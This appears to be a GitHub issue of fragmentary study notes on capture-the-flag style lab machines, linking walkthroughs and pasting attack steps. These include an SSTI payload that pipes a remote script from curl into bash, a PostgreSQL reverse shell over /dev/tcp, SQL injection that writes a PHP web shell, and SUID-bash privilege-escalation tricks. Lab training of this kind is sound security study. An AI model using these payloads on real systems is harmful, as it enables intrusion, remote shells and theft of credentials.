Open WDavid404 opened 3 months ago
https://al1z4deh.medium.com/proving-grounds-rookie-mistake-b74eca98edf1 https://medium.com/@Dpsypher/proving-grounds-practice-rookie-mistake-79e474449af3
--> so we can try to run reverse shell command
{{ config.__class__.from_envvar.__globals__.import_string('os').popen('curl 192.168.45.160/rev.sh | bash').read() }}
and make the malicious rev.sh
Refer: SSTI (https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection)
/usr/local/bin
directory and there is a run-parts processs is running by root. and The run-parts binary is on /bin
.
/usr/local/bin is on upper priority. Technically we can create a malicious run-parts binary on /usr/local/bin and it will get executed as root.
echo "chmod +s /bin/bash" > /usr/local/bin/run-parts
chmod +x /usr/local/bin/run-parts
https://medium.com/@4HM7H3X/oscp-prep-pg-practice-walkthrough-scrutiny-839baf7f8077
TeamCity version 2023.05.4 is vulnerable to an Authentication Bypass vulnerability (CVE-2024–27198) After creating a new user we find an id_rsa key belonging to another user within the site. We convert the key into its hash crack it and establish a connection. Upon checking emails we discover the password of another user. Using this password found on the desktop of the obtained user we escalate privileges using systemctl
https://medium.com/@ardian.danny/oscp-practice-series-40-proving-grounds-shiftdel-abf4803b1bfd
unlink_thumb("../../../../.htaccess")
--> so that we can read /wp-config.php and get database credentials --> use this information to login on the PHPMyAdmin page --> get version information v4.8.1 --> found exploit: phpMyAdmin 4.8.1 - Remote Code Execution (RCE) (https://www.exploit-db.com/exploits/50457)
cd /var/www/html/wordpress/wp-content/uploads
mkdir bin
cd bin
echo "chmod +s /bin/bash" > rm
chmod 777 rm
The following boxes are very simple ...
https://medium.com/@0xrave/snookums-proving-ground-practice-walkthrough-0a8937c6aa2f
https://medium.com/@vivek-kumar/offensive-security-proving-grounds-walk-through-sona-f6797b9cc935
https://medium.com/@jserna4510/sorcerer-pg-walkthrough-6e9c403f4896
https://al1z4deh.medium.com/proving-grounds-spaghetti-4ba123427b54
keypoints: IRC (6667)
https://medium.com/@0xrave/splodge-proving-grounds-practice-walkthrough-2f30156e4b97
git checkout
command is used to switch between different branches or to restore working tree files.
Get the hash from git log
, git checkout $Hash
and we got a lot of php file, which got deleted.
To restore the file, git checkout -- .
find ~/Your/Dir/dest-dir/ -maxdepth 5 -name "*.php" -exec grep -Hni "password" {} \; 2>/dev/null
#the pat refer to pattern, rep refer to replace, sub seems not relevant to our case
payload : index.php?pat=/a/e&rep=phpinfo();&sub=abc
#POC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Get reverse shell
COPY cmd_exec FROM PROGRAM 'sh -i >& /dev/tcp/$KaliIP/8080 0>&1';
https://medium.com/@vivek-kumar/offensive-security-proving-grounds-walk-through-sybaris-491b23545014
bruteforce FTP
Remote code execution exploit for Redis 5.x (https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) and upload "module.so" to FTP --> use redis-client to import the module assuming the shared ftp folder is at the default location and it works.
[PE] CVE-2021–4034 --> exploit
https://medium.com/@ardian.danny/oscp-practice-series-30-proving-grounds-symbolic-2afdae158ea5
Key points:
This website provide a feature to convert HTML file to PDF --> SSRF --> username: p4yl0ad
Upload a php file to read config file and user's SSH key --> didn't work. so try /Users/p4yl0ad/.ssh/id_rsa
[PE] C:/backup.ps1 file which backing up the C:\xampp\htdocs\logs\request.log file to the C:\backup\logs directory ---> if we create a symbolic link, that links request.log to some admin file like their OpenSSH private_key, then run the backup.ps1 again. Then, we should be able to see the private key through the logs backup ---> but we can’t use mlink...
finally --> Use CreateSymlink.exe tool
To do this without administrator rights, we need to create a Mount Point such that C:\xampp\htdocs\ points to \RPC Control\ object directory. We then create a Symlink such that \RPC Control\logs points to \?\C:\Users\Administrator.ssh\id_rsa.
We can do this by using [symboliclink-testing-tools](https://github.com/googleprojectzero/symboliclink-testing-tools/releases/download/v1.0/Release.7z), a tool for testing various symbolic link types of Windows. We need to save the 7zip file to our Kali machine and the unzip it.
https://kashz.gitbook.io/proving-grounds-writeups/pg-boxes/uc404
email=||+id
upload a reverse php file
# we have code execution
email=||wget+192.168.49.136/web.php
http://192.168.136.109/under_construction/web.php
- [PE] sudo -l --> /usr/bin/git --> https://gtfobins.github.io/gtfobins/git/#sudo
TF=$(mktemp -d) ln -s /bin/sh "$TF/git-x" sudo git "--exec-path=$TF" x
https://medium.com/@joemcfarland/hack-the-box-validation-writeup-de4372269cdf
username=shell&country=United+Kingdom' union select "<?php SYSTEM($_REQUEST['cmd']) ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
, then visited ‘http://10.129.234.49/shell.php?cmd=id’https://al1z4deh.medium.com/proving-grounds-vanity-ce128d6e504
└─$ rsync -rdt rsync://192.168.54.234
source Web Source
backup Virus Samples Backup
└─$ rsync -rdt rsync://192.168.54.234/source .
Found the system function is used in source code --> use this to do command injection.
![image](https://github.com/user-attachments/assets/445e3774-1338-4244-b476-fa1dff9ff416)
use reverse shell command (encoded)
![image](https://github.com/user-attachments/assets/a67926a3-4e5d-44b4-bbf1-cd707dae5bf5)
- [PE]
![image](https://github.com/user-attachments/assets/a8baefdd-f2b2-4735-9cc8-40efd4c0e443)
![image](https://github.com/user-attachments/assets/457919f0-f2e6-4182-8d33-105068c7b954)
We see that this setting can be abused to achieve RCE.
![image](https://github.com/user-attachments/assets/eb47899b-2b9b-4787-bdef-826bdebde976)
---> prepare our payload
![image](https://github.com/user-attachments/assets/9df78395-f583-474d-8822-7b737e856aa4)
https://medium.com/@thetraphacker/proving-grounds-pg-voip-writeup-83d6da0f2874
root@kali:/home/kali/offsec/GIT/sippts# python3 sipdigestleak.py -i $ip
☎ SIPPTS BY 🅿 🅴 🅿 🅴 🅻 🆄 🆇
█████████████████████████████████▀█████████████████████████████████████████████
█─▄▄▄▄█▄─▄█▄─▄▄─███▄─▄▄▀█▄─▄█─▄▄▄▄█▄─▄▄─█─▄▄▄▄█─▄─▄─███▄─▄███▄─▄▄─██▀▄─██▄─█─▄█
█▄▄▄▄─██─███─▄▄▄████─██─██─██─██▄─██─▄█▀█▄▄▄▄─███─██████─██▀██─▄█▀██─▀─███─▄▀██
▀▄▄▄▄▄▀▄▄▄▀▄▄▄▀▀▀▀▀▄▄▄▄▀▀▄▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▀▄▄▄▀▀▀▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▀▄▄▀▄▄▀▄▄▀
- a tool called ‘sox’ --> decrypt raw data
`sox -t raw -r 8000 -v 4 -c 1 -e mu-law 2138.raw out.wav`
--> The resulting wav file is a recording of a call, where one says the following: "Your Password has been changed to Password1234 where P is capital"
https://z4c777.medium.com/walla-offsec-pg-practice-walkthrough-e97c036e778a
Not complicate
https://medium.com/@malwarejoe/xposedapi-offsec-proving-grounds-lab-write-up-3848be2c61d3
https://medium.com/@thetraphacker/proving-grounds-pg-zenphoto-writeup-8cd8218d9b26
https://medium.com/@thetraphacker/proving-grounds-pg-zenphoto-writeup-4b901dc45607
https://www.youtube.com/watch?v=0Am8mzOXTVk
Key points:
Reconstruction (Linux, 2020)